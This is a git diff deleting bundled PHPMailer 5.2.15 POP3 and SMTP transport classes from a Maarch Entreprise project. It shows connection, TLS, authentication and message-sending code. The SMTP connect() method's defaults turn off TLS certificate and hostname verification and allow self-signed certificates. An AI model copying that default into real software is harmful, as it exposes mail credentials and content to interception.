$this->POP3_PORT; - } - - // connect to the POP3 server - $this->pop_conn = fsockopen( - $host, // POP3 Host - $port, // Port # - $errno, // Error Number - $errstr, // Error Message - $tval - ); // Timeout (seconds) - // Restore the error handler - restore_error_handler(); - - // Did we connect? - if (false === $this->pop_conn) { - // It would appear not... - $this->setError(array( - 'error' => "Failed to connect to server $host on port $port", - 'errno' => $errno, - 'errstr' => $errstr - )); - return false; - } - - // Increase the stream time-out - stream_set_timeout($this->pop_conn, $tval, 0); - - // Get the POP3 server response - $pop3_response = $this->getResponse(); - // Check for the +OK - if ($this->checkResponse($pop3_response)) { - // The connection is established and the POP3 server is talking - $this->connected = true; - return true; - } - return false; - } - - /** - * Log in to the POP3 server. - * Does not support APOP (RFC 2828, 4949). - * @access public - * @param string $username - * @param string $password - * @return boolean - */ - public function login($username = '', $password = '') - { - if (!$this->connected) { - $this->setError('Not connected to POP3 server'); - } - if (empty($username)) { - $username = $this->username; - } - if (empty($password)) { - $password = $this->password; - } - - // Send the Username - $this->sendString("USER $username" . self::CRLF); - $pop3_response = $this->getResponse(); - if ($this->checkResponse($pop3_response)) { - // Send the Password - $this->sendString("PASS $password" . self::CRLF); - $pop3_response = $this->getResponse(); - if ($this->checkResponse($pop3_response)) { - return true; - } - } - return false; - } - - /** - * Disconnect from the POP3 server. - * @access public - */ - public function disconnect() - { - $this->sendString('QUIT'); - //The QUIT command may cause the daemon to exit, which will kill our connection - //So ignore errors here - try { - @fclose($this->pop_conn); - } catch (Exception $e) { - //Do nothing - }; - } - - /** - * Get a response from the POP3 server. - * $size is the maximum number of bytes to retrieve - * @param integer $size - * @return string - * @access protected - */ - protected function getResponse($size = 128) - { - $response = fgets($this->pop_conn, $size); - if ($this->do_debug >= 1) { - echo "Server -> Client: $response"; - } - return $response; - } - - /** - * Send raw data to the POP3 server. - * @param string $string - * @return integer - * @access protected - */ - protected function sendString($string) - { - if ($this->pop_conn) { - if ($this->do_debug >= 2) { //Show client messages when debug >= 2 - echo "Client -> Server: $string"; - } - return fwrite($this->pop_conn, $string, strlen($string)); - } - return 0; - } - - /** - * Checks the POP3 server response. - * Looks for for +OK or -ERR. - * @param string $string - * @return boolean - * @access protected - */ - protected function checkResponse($string) - { - if (substr($string, 0, 3) !== '+OK') { - $this->setError(array( - 'error' => "Server reported an error: $string", - 'errno' => 0, - 'errstr' => '' - )); - return false; - } else { - return true; - } - } - - /** - * Add an error to the internal error store. - * Also display debug output if it's enabled. - * @param $error - * @access protected - */ - protected function setError($error) - { - $this->errors[] = $error; - if ($this->do_debug >= 1) { - echo '<pre>'; - foreach ($this->errors as $error) { - print_r($error); - } - echo '</pre>'; - } - } - - /** - * Get an array of error messages, if any. - * @return array - */ - public function getErrors() - { - return $this->errors; - } - - /** - * POP3 connection error handler. - * @param integer $errno - * @param string $errstr - * @param string $errfile - * @param integer $errline - * @access protected - */ - protected function catchWarning($errno, $errstr, $errfile, $errline) - { - $this->setError(array( - 'error' => "Connecting to the POP3 server raised a PHP warning: ", - 'errno' => $errno, - 'errstr' => $errstr, - 'errfile' => $errfile, - 'errline' => $errline - )); - } -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/class.smtp.php b/apps/maarch_entreprise/tools/PHPMailer/class.smtp.php deleted file mode 100755 index 6d7ddb34cc8df007f64d345c9aea59904bd16ec6..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/class.smtp.php +++ /dev/null @@ -1,1195 +0,0 @@ -<?php -/** - * PHPMailer RFC821 SMTP email transport class. - * PHP Version 5 - * @package PHPMailer - * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project - * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> - * @author Jim Jagielski (jimjag) <jimjag@gmail.com> - * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> - * @author Brent R. Matzelle (original founder) - * @copyright 2014 Marcus Bointon - * @copyright 2010 - 2012 Jim Jagielski - * @copyright 2004 - 2009 Andy Prevost - * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License - * @note This program is distributed in the hope that it will be useful - WITHOUT - * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or - * FITNESS FOR A PARTICULAR PURPOSE. - */ - -/** - * PHPMailer RFC821 SMTP email transport class. - * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server. - * @package PHPMailer - * @author Chris Ryan - * @author Marcus Bointon <phpmailer@synchromedia.co.uk> - */ -class SMTP -{ - /** - * The PHPMailer SMTP version number. - * @var string - */ - const VERSION = '5.2.15'; - - /** - * SMTP line break constant. - * @var string - */ - const CRLF = "\r\n"; - - /** - * The SMTP port to use if one is not specified. - * @var integer - */ - const DEFAULT_SMTP_PORT = 25; - - /** - * The maximum line length allowed by RFC 2822 section 2.1.1 - * @var integer - */ - const MAX_LINE_LENGTH = 998; - - /** - * Debug level for no output - */ - const DEBUG_OFF = 0; - - /** - * Debug level to show client -> server messages - */ - const DEBUG_CLIENT = 1; - - /** - * Debug level to show client -> server and server -> client messages - */ - const DEBUG_SERVER = 2; - - /** - * Debug level to show connection status, client -> server and server -> client messages - */ - const DEBUG_CONNECTION = 3; - - /** - * Debug level to show all messages - */ - const DEBUG_LOWLEVEL = 4; - - /** - * The PHPMailer SMTP Version number. - * @var string - * @deprecated Use the `VERSION` constant instead - * @see SMTP::VERSION - */ - public $Version = '5.2.15'; - - /** - * SMTP server port number. - * @var integer - * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead - * @see SMTP::DEFAULT_SMTP_PORT - */ - public $SMTP_PORT = 25; - - /** - * SMTP reply line ending. - * @var string - * @deprecated Use the `CRLF` constant instead - * @see SMTP::CRLF - */ - public $CRLF = "\r\n"; - - /** - * Debug output level. - * Options: - * * self::DEBUG_OFF (`0`) No debug output, default - * * self::DEBUG_CLIENT (`1`) Client commands - * * self::DEBUG_SERVER (`2`) Client commands and server responses - * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status - * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages - * @var integer - */ - public $do_debug = self::DEBUG_OFF; - - /** - * How to handle debug output. - * Options: - * * `echo` Output plain-text as-is, appropriate for CLI - * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output - * * `error_log` Output to error log as configured in php.ini - * - * Alternatively, you can provide a callable expecting two params: a message string and the debug level: - * <code> - * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; - * </code> - * @var string|callable - */ - public $Debugoutput = 'echo'; - - /** - * Whether to use VERP. - * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path - * @link http://www.postfix.org/VERP_README.html Info on VERP - * @var boolean - */ - public $do_verp = false; - - /** - * The timeout value for connection, in seconds. - * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2 - * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure. - * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2 - * @var integer - */ - public $Timeout = 300; - - /** - * How long to wait for commands to complete, in seconds. - * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2 - * @var integer - */ - public $Timelimit = 300; - - /** - * The socket for the server connection. - * @var resource - */ - protected $smtp_conn; - - /** - * Error information, if any, for the last SMTP command. - * @var array - */ - protected $error = array( - 'error' => '', - 'detail' => '', - 'smtp_code' => '', - 'smtp_code_ex' => '' - ); - - /** - * The reply the server sent to us for HELO. - * If null, no HELO string has yet been received. - * @var string|null - */ - protected $helo_rply = null; - - /** - * The set of SMTP extensions sent in reply to EHLO command. - * Indexes of the array are extension names. - * Value at index 'HELO' or 'EHLO' (according to command that was sent) - * represents the server name. In case of HELO it is the only element of the array. - * Other values can be boolean TRUE or an array containing extension options. - * If null, no HELO/EHLO string has yet been received. - * @var array|null - */ - protected $server_caps = null; - - /** - * The most recent reply received from the server. - * @var string - */ - protected $last_reply = ''; - - /** - * Output debugging info via a user-selected method. - * @see SMTP::$Debugoutput - * @see SMTP::$do_debug - * @param string $str Debug string to output - * @param integer $level The debug level of this message; see DEBUG_* constants - * @return void - */ - protected function edebug($str, $level = 0) - { - if ($level > $this->do_debug) { - return; - } - //Avoid clash with built-in function names - if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) { - call_user_func($this->Debugoutput, $str, $this->do_debug); - return; - } - switch ($this->Debugoutput) { - case 'error_log': - //Don't output, just log - error_log($str); - break; - case 'html': - //Cleans up output a bit for a better looking, HTML-safe output - echo htmlentities( - preg_replace('/[\r\n]+/', '', $str), - ENT_QUOTES, - 'UTF-8' - ) - . "<br>\n"; - break; - case 'echo': - default: - //Normalize line breaks - $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str); - echo gmdate('Y-m-d H:i:s') . "\t" . str_replace( - "\n", - "\n \t ", - trim($str) - )."\n"; - } - } - - /** - * Connect to an SMTP server. - * @param string $host SMTP server IP or host name - * @param integer $port The port number to connect to - * @param integer $timeout How long to wait for the connection to open - * @param array $options An array of options for stream_context_create() - * @access public - * @return boolean - */ - public function connect($host, $port = null, $timeout = 30, $options = array()) - { - if (count($options) == 0) { - $options['ssl'] = array('verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true); - } - static $streamok; - //This is enabled by default since 5.0.0 but some providers disable it - //Check this once and cache the result - if (is_null($streamok)) { - $streamok = function_exists('stream_socket_client'); - } - // Clear errors to avoid confusion - $this->setError(''); - // Make sure we are __not__ connected - if ($this->connected()) { - // Already connected, generate error - $this->setError('Already connected to a server'); - return false; - } - if (empty($port)) { - $port = self::DEFAULT_SMTP_PORT; - } - // Connect to the SMTP server - $this->edebug( - "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true), - self::DEBUG_CONNECTION - ); - $errno = 0; - $errstr = ''; - if ($streamok) { - $socket_context = stream_context_create($options); - //Suppress errors; connection failures are handled at a higher level - $this->smtp_conn = @stream_socket_client( - $host . ":" . $port, - $errno, - $errstr, - $timeout, - STREAM_CLIENT_CONNECT, - $socket_context - ); - } else { - //Fall back to fsockopen which should work in more places, but is missing some features - $this->edebug( - "Connection: stream_socket_client not available, falling back to fsockopen", - self::DEBUG_CONNECTION - ); - $this->smtp_conn = fsockopen( - $host, - $port, - $errno, - $errstr, - $timeout - ); - } - // Verify we connected properly - if (!is_resource($this->smtp_conn)) { - $this->setError( - 'Failed to connect to server', - $errno, - $errstr - ); - $this->edebug( - 'SMTP ERROR: ' . $this->error['error'] - . ": $errstr ($errno)", - self::DEBUG_CLIENT - ); - return false; - } - $this->edebug('Connection: opened', self::DEBUG_CONNECTION); - // SMTP server can take longer to respond, give longer timeout for first read - // Windows does not have support for this timeout function - if (substr(PHP_OS, 0, 3) != 'WIN') { - $max = ini_get('max_execution_time'); - // Don't bother if unlimited - if ($max != 0 && $timeout > $max) { - @set_time_limit($timeout); - } - stream_set_timeout($this->smtp_conn, $timeout, 0); - } - // Get any announcement - $announce = $this->get_lines(); - $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER); - return true; - } - - /** - * Initiate a TLS (encrypted) session. - * @access public - * @return boolean - */ - public function startTLS() - { - if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) { - return false; - } - - //Allow the best TLS version(s) we can - $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT; - - //PHP 5.6.7 dropped inclusion of TLS 1.1 and 1.2 in STREAM_CRYPTO_METHOD_TLS_CLIENT - //so add them back in manually if we can - if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) { - $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; - $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT; - } - - // Begin encrypted connection - if (!stream_socket_enable_crypto( - $this->smtp_conn, - true, - $crypto_method - )) { - return false; - } - return true; - } - - /** - * Perform SMTP authentication. - * Must be run after hello(). - * @see hello() - * @param string $username The user name - * @param string $password The password - * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5, XOAUTH2) - * @param string $realm The auth realm for NTLM - * @param string $workstation The auth workstation for NTLM - * @param null|OAuth $OAuth An optional OAuth instance (@see PHPMailerOAuth) - * @return bool True if successfully authenticated.* @access public - */ - public function authenticate( - $username, - $password, - $authtype = null, - $realm = '', - $workstation = '', - $OAuth = null - ) { - if (!$this->server_caps) { - $this->setError('Authentication is not allowed before HELO/EHLO'); - return false; - } - - if (array_key_exists('EHLO', $this->server_caps)) { - // SMTP extensions are available. Let's try to find a proper authentication method - - if (!array_key_exists('AUTH', $this->server_caps)) { - $this->setError('Authentication is not allowed at this stage'); - // 'at this stage' means that auth may be allowed after the stage changes - // e.g. after STARTTLS - return false; - } - - self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL); - self::edebug( - 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']), - self::DEBUG_LOWLEVEL - ); - - if (empty($authtype)) { - foreach (array('CRAM-MD5', 'LOGIN', 'PLAIN', 'NTLM', 'XOAUTH2') as $method) { - if (in_array($method, $this->server_caps['AUTH'])) { - $authtype = $method; - break; - } - } - if (empty($authtype)) { - $this->setError('No supported authentication methods found'); - return false; - } - self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL); - } - - if (!in_array($authtype, $this->server_caps['AUTH'])) { - $this->setError("The requested authentication method \"$authtype\" is not supported by the server"); - return false; - } - } elseif (empty($authtype)) { - $authtype = 'LOGIN'; - } - switch ($authtype) { - case 'PLAIN': - // Start authentication - if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) { - return false; - } - // Send encoded username and password - if (!$this->sendCommand( - 'User & Password', - base64_encode("\0" . $username . "\0" . $password), - 235 - ) - ) { - return false; - } - break; - case 'LOGIN': - // Start authentication - if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) { - return false; - } - if (!$this->sendCommand("Username", base64_encode($username), 334)) { - return false; - } - if (!$this->sendCommand("Password", base64_encode($password), 235)) { - return false; - } - break; - case 'XOAUTH2': - //If the OAuth Instance is not set. Can be a case when PHPMailer is used - //instead of PHPMailerOAuth - if (is_null($OAuth)) { - return false; - } - $oauth = $OAuth->getOauth64(); - - // Start authentication - if (!$this->sendCommand('AUTH', 'AUTH XOAUTH2 ' . $oauth, 235)) { - return false; - } - break; - case 'NTLM': - /* - * ntlm_sasl_client.php - * Bundled with Permission - * - * How to telnet in windows: - * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx - * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication - */ - require_once 'extras/ntlm_sasl_client.php'; - $temp = new stdClass; - $ntlm_client = new ntlm_sasl_client_class; - //Check that functions are available - if (!$ntlm_client->Initialize($temp)) { - $this->setError($temp->error); - $this->edebug( - 'You need to enable some modules in your php.ini file: ' - . $this->error['error'], - self::DEBUG_CLIENT - ); - return false; - } - //msg1 - $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1 - - if (!$this->sendCommand( - 'AUTH NTLM', - 'AUTH NTLM ' . base64_encode($msg1), - 334 - ) - ) { - return false; - } - //Though 0 based, there is a white space after the 3 digit number - //msg2 - $challenge = substr($this->last_reply, 3); - $challenge = base64_decode($challenge); - $ntlm_res = $ntlm_client->NTLMResponse( - substr($challenge, 24, 8), - $password - ); - //msg3 - $msg3 = $ntlm_client->TypeMsg3( - $ntlm_res, - $username, - $realm, - $workstation - ); - // send encoded username - return $this->sendCommand('Username', base64_encode($msg3), 235); - case 'CRAM-MD5': - // Start authentication - if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) { - return false; - } - // Get the challenge - $challenge = base64_decode(substr($this->last_reply, 4)); - - // Build the response - $response = $username . ' ' . $this->hmac($challenge, $password); - - // send encoded credentials - return $this->sendCommand('Username', base64_encode($response), 235); - default: - $this->setError("Authentication method \"$authtype\" is not supported"); - return false; - } - return true; - } - - /** - * Calculate an MD5 HMAC hash. - * Works like hash_hmac('md5', $data, $key) - * in case that function is not available - * @param string $data The data to hash - * @param string $key The key to hash with - * @access protected - * @return string - */ - protected function hmac($data, $key) - { - if (function_exists('hash_hmac')) { - return hash_hmac('md5', $data, $key); - } - - // The following borrowed from - // http://php.net/manual/en/function.mhash.php#27225 - - // RFC 2104 HMAC implementation for php. - // Creates an md5 HMAC. - // Eliminates the need to install mhash to compute a HMAC - // by Lance Rushing - - $bytelen = 64; // byte length for md5 - if (strlen($key) > $bytelen) { - $key = pack('H*', md5($key)); - } - $key = str_pad($key, $bytelen, chr(0x00)); - $ipad = str_pad('', $bytelen, chr(0x36)); - $opad = str_pad('', $bytelen, chr(0x5c)); - $k_ipad = $key ^ $ipad; - $k_opad = $key ^ $opad; - - return md5($k_opad . pack('H*', md5($k_ipad . $data))); - } - - /** - * Check connection state. - * @access public - * @return boolean True if connected. - */ - public function connected() - { - if (is_resource($this->smtp_conn)) { - $sock_status = stream_get_meta_data($this->smtp_conn); - if ($sock_status['eof']) { - // The socket is valid but we are not connected - $this->edebug( - 'SMTP NOTICE: EOF caught while checking if connected', - self::DEBUG_CLIENT - ); - $this->close(); - return false; - } - return true; // everything looks good - } - return false; - } - - /** - * Close the socket and clean up the state of the class. - * Don't use this function without first trying to use QUIT. - * @see quit() - * @access public - * @return void - */ - public function close() - { - $this->setError(''); - $this->server_caps = null; - $this->helo_rply = null; - if (is_resource($this->smtp_conn)) { - // close the connection and cleanup - fclose($this->smtp_conn); - $this->smtp_conn = null; //Makes for cleaner serialization - $this->edebug('Connection: closed', self::DEBUG_CONNECTION); - } - } - - /** - * Send an SMTP DATA command. - * Issues a data command and sends the msg_data to the server, - * finializing the mail transaction. $msg_data is the message - * that is to be send with the headers. Each header needs to be - * on a single line followed by a <CRLF> with the message headers - * and the message body being separated by and additional <CRLF>. - * Implements rfc 821: DATA <CRLF> - * @param string $msg_data Message data to send - * @access public - * @return boolean - */ - public function data($msg_data) - { - //This will use the standard timelimit - if (!$this->sendCommand('DATA', 'DATA', 354)) { - return false; - } - - /* The server is ready to accept data! - * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF) - * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into - * smaller lines to fit within the limit. - * We will also look for lines that start with a '.' and prepend an additional '.'. - * NOTE: this does not count towards line-length limit. - */ - - // Normalize line breaks before exploding - $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data)); - - /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field - * of the first line (':' separated) does not contain a space then it _should_ be a header and we will - * process all lines before a blank line as headers. - */ - - $field = substr($lines[0], 0, strpos($lines[0], ':')); - $in_headers = false; - if (!empty($field) && strpos($field, ' ') === false) { - $in_headers = true; - } - - foreach ($lines as $line) { - $lines_out = array(); - if ($in_headers and $line == '') { - $in_headers = false; - } - //Break this line up into several smaller lines if it's too long - //Micro-optimisation: isset($str[$len]) is faster than (strlen($str) > $len), - while (isset($line[self::MAX_LINE_LENGTH])) { - //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on - //so as to avoid breaking in the middle of a word - $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' '); - //Deliberately matches both false and 0 - if (!$pos) { - //No nice break found, add a hard break - $pos = self::MAX_LINE_LENGTH - 1; - $lines_out[] = substr($line, 0, $pos); - $line = substr($line, $pos); - } else { - //Break at the found point - $lines_out[] = substr($line, 0, $pos); - //Move along by the amount we dealt with - $line = substr($line, $pos + 1); - } - //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1 - if ($in_headers) { - $line = "\t" . $line; - } - } - $lines_out[] = $line; - - //Send the lines to the server - foreach ($lines_out as $line_out) { - //RFC2821 section 4.5.2 - if (!empty($line_out) and $line_out[0] == '.') { - $line_out = '.' . $line_out; - } - $this->client_send($line_out . self::CRLF); - } - } - - //Message data has been sent, complete the command - //Increase timelimit for end of DATA command - $savetimelimit = $this->Timelimit; - $this->Timelimit = $this->Timelimit * 2; - $result = $this->sendCommand('DATA END', '.', 250); - //Restore timelimit - $this->Timelimit = $savetimelimit; - return $result; - } - - /** - * Send an SMTP HELO or EHLO command. - * Used to identify the sending server to the receiving server. - * This makes sure that client and server are in a known state. - * Implements RFC 821: HELO <SP> <domain> <CRLF> - * and RFC 2821 EHLO. - * @param string $host The host name or IP to connect to - * @access public - * @return boolean - */ - public function hello($host = '') - { - //Try extended hello first (RFC 2821) - return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host)); - } - - /** - * Send an SMTP HELO or EHLO command. - * Low-level implementation used by hello() - * @see hello() - * @param string $hello The HELO string - * @param string $host The hostname to say we are - * @access protected - * @return boolean - */ - protected function sendHello($hello, $host) - { - $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250); - $this->helo_rply = $this->last_reply; - if ($noerror) { - $this->parseHelloFields($hello); - } else { - $this->server_caps = null; - } - return $noerror; - } - - /** - * Parse a reply to HELO/EHLO command to discover server extensions. - * In case of HELO, the only parameter that can be discovered is a server name. - * @access protected - * @param string $type - 'HELO' or 'EHLO' - */ - protected function parseHelloFields($type) - { - $this->server_caps = array(); - $lines = explode("\n", $this->helo_rply); - - foreach ($lines as $n => $s) { - //First 4 chars contain response code followed by - or space - $s = trim(substr($s, 4)); - if (empty($s)) { - continue; - } - $fields = explode(' ', $s); - if (!empty($fields)) { - if (!$n) { - $name = $type; - $fields = $fields[0]; - } else { - $name = array_shift($fields); - switch ($name) { - case 'SIZE': - $fields = ($fields ? $fields[0] : 0); - break; - case 'AUTH': - if (!is_array($fields)) { - $fields = array(); - } - break; - default: - $fields = true; - } - } - $this->server_caps[$name] = $fields; - } - } - } - - /** - * Send an SMTP MAIL command. - * Starts a mail transaction from the email address specified in - * $from. Returns true if successful or false otherwise. If True - * the mail transaction is started and then one or more recipient - * commands may be called followed by a data command. - * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF> - * @param string $from Source address of this message - * @access public - * @return boolean - */ - public function mail($from) - { - $useVerp = ($this->do_verp ? ' XVERP' : ''); - return $this->sendCommand( - 'MAIL FROM', - 'MAIL FROM:<' . $from . '>' . $useVerp, - 250 - ); - } - - /** - * Send an SMTP QUIT command. - * Closes the socket if there is no error or the $close_on_error argument is true. - * Implements from rfc 821: QUIT <CRLF> - * @param boolean $close_on_error Should the connection close if an error occurs? - * @access public - * @return boolean - */ - public function quit($close_on_error = true) - { - $noerror = $this->sendCommand('QUIT', 'QUIT', 221); - $err = $this->error; //Save any error - if ($noerror or $close_on_error) { - $this->close(); - $this->error = $err; //Restore any error from the quit command - } - return $noerror; - } - - /** - * Send an SMTP RCPT command. - * Sets the TO argument to $toaddr. - * Returns true if the recipient was accepted false if it was rejected. - * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF> - * @param string $address The address the message is being sent to - * @access public - * @return boolean - */ - public function recipient($address) - { - return $this->sendCommand( - 'RCPT TO', - 'RCPT TO:<' . $address . '>', - array(250, 251) - ); - } - - /** - * Send an SMTP RSET command. - * Abort any transaction that is currently in progress. - * Implements rfc 821: RSET <CRLF> - * @access public - * @return boolean True on success. - */ - public function reset() - { - return $this->sendCommand('RSET', 'RSET', 250); - } - - /** - * Send a command to an SMTP server and check its return code. - * @param string $command The command name - not sent to the server - * @param string $commandstring The actual command to send - * @param integer|array $expect One or more expected integer success codes - * @access protected - * @return boolean True on success. - */ - protected function sendCommand($command, $commandstring, $expect) - { - if (!$this->connected()) { - $this->setError("Called $command without being connected"); - return false; - } - //Reject line breaks in all commands - if (strpos($commandstring, "\n") !== false or strpos($commandstring, "\r") !== false) { - $this->setError("Command '$command' contained line breaks"); - return false; - } - $this->client_send($commandstring . self::CRLF); - - $this->last_reply = $this->get_lines(); - // Fetch SMTP code and possible error code explanation - $matches = array(); - if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) { - $code = $matches[1]; - $code_ex = (count($matches) > 2 ? $matches[2] : null); - // Cut off error code from each response line - $detail = preg_replace( - "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m", - '', - $this->last_reply - ); - } else { - // Fall back to simple parsing if regex fails - $code = substr($this->last_reply, 0, 3); - $code_ex = null; - $detail = substr($this->last_reply, 4); - } - - $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER); - - if (!in_array($code, (array)$expect)) { - $this->setError( - "$command command failed", - $detail, - $code, - $code_ex - ); - $this->edebug( - 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply, - self::DEBUG_CLIENT - ); - return false; - } - - $this->setError(''); - return true; - } - - /** - * Send an SMTP SAML command. - * Starts a mail transaction from the email address specified in $from. - * Returns true if successful or false otherwise. If True - * the mail transaction is started and then one or more recipient - * commands may be called followed by a data command. This command - * will send the message to the users terminal if they are logged - * in and send them an email. - * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF> - * @param string $from The address the message is from - * @access public - * @return boolean - */ - public function sendAndMail($from) - { - return $this->sendCommand('SAML', "SAML FROM:$from", 250); - } - - /** - * Send an SMTP VRFY command. - * @param string $name The name to verify - * @access public - * @return boolean - */ - public function verify($name) - { - return $this->sendCommand('VRFY', "VRFY $name", array(250, 251)); - } - - /** - * Send an SMTP NOOP command. - * Used to keep keep-alives alive, doesn't actually do anything - * @access public - * @return boolean - */ - public function noop() - { - return $this->sendCommand('NOOP', 'NOOP', 250); - } - - /** - * Send an SMTP TURN command. - * This is an optional command for SMTP that this class does not support. - * This method is here to make the RFC821 Definition complete for this class - * and _may_ be implemented in future - * Implements from rfc 821: TURN <CRLF> - * @access public - * @return boolean - */ - public function turn() - { - $this->setError('The SMTP TURN command is not implemented'); - $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT); - return false; - } - - /** - * Send raw data to the server. - * @param string $data The data to send - * @access public - * @return integer|boolean The number of bytes sent to the server or false on error - */ - public function client_send($data) - { - $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT); - return fwrite($this->smtp_conn, $data); - } - - /** - * Get the latest error. - * @access public - * @return array - */ - public function getError() - { - return $this->error; - } - - /** - * Get SMTP extensions available on the server - * @access public - * @return array|null - */ - public function getServerExtList() - { - return $this->server_caps; - } - - /** - * A multipurpose method - * The method works in three ways, dependent on argument value and current state - * 1. HELO/EHLO was not sent - returns null and set up $this->error - * 2. HELO was sent - * $name = 'HELO': returns server name - * $name = 'EHLO': returns boolean false - * $name = any string: returns null and set up $this->error - * 3. EHLO was sent - * $name = 'HELO'|'EHLO': returns server name - * $name = any string: if extension $name exists, returns boolean True - * or its options. Otherwise returns boolean False - * In other words, one can use this method to detect 3 conditions: - * - null returned: handshake was not or we don't know about ext (refer to $this->error) - * - false returned: the requested feature exactly not exists - * - positive value returned: the requested feature exists - * @param string $name Name of SMTP extension or 'HELO'|'EHLO' - * @return mixed - */ - public function getServerExt($name) - { - if (!$this->server_caps) { - $this->setError('No HELO/EHLO was sent'); - return null; - } - - // the tight logic knot ;) - if (!array_key_exists($name, $this->server_caps)) { - if ($name == 'HELO') { - return $this->server_caps['EHLO']; - } - if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) { - return false; - } - $this->setError('HELO handshake was used. Client knows nothing about server extensions'); - return null; - } - - return $this->server_caps[$name]; - } - - /** - * Get the last reply from the server. - * @access public - * @return string - */ - public function getLastReply() - { - return $this->last_reply; - } - - /** - * Read the SMTP server's response. - * Either before eof or socket timeout occurs on the operation. - * With SMTP we can tell if we have more lines to read if the - * 4th character is '-' symbol. If it is a space then we don't - * need to read anything else. - * @access protected - * @return string - */ - protected function get_lines() - { - // If the connection is bad, give up straight away - if (!is_resource($this->smtp_conn)) { - return ''; - } - $data = ''; - $endtime = 0; - stream_set_timeout($this->smtp_conn, $this->Timeout); - if ($this->Timelimit > 0) { - $endtime = time() + $this->Timelimit; - } - while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) { - $str = @fgets($this->smtp_conn, 515); - $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL); - $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL); - $data .= $str; - // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen - if ((isset($str[3]) and $str[3] == ' ')) { - break; - } - // Timed-out? Log and break - $info = stream_get_meta_data($this->smtp_conn); - if ($info['timed_out']) { - $this->edebug( - 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)', - self::DEBUG_LOWLEVEL - ); - break; - } - // Now check if reads took too long - if ($endtime and time() > $endtime) { - $this->edebug( - 'SMTP -> get_lines(): timelimit reached ('. - $this->Timelimit . ' sec)', - self::DEBUG_LOWLEVEL - ); - break; - } - } - return $data; - } - - /** - * Enable or disable VERP address generation. - * @param boolean $enabled - */ - public function setVerp($enabled = false) - { - $this->do_verp = $enabled; - } - - /** - * Get VERP address generation mode. - * @return boolean - */ - public function getVerp() - { - return $this->do_verp; - } - - /** - * Set error messages and codes. - * @param string $message The error message - * @param string $detail Further detail on the error - * @param string $smtp_code An associated SMTP error code - * @param string $smtp_code_ex Extended SMTP code - */ - protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '') - { - $this->error = array( - 'error' => $message, - 'detail' => $detail, - 'smtp_code' => $smtp_code, - 'smtp_code_ex' => $smtp_code_ex - ); - } - - /** - * Set debug output method. - * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it. - */ - public function setDebugOutput($method = 'echo') - { - $this->Debugoutput = $method; - } - - /** - * 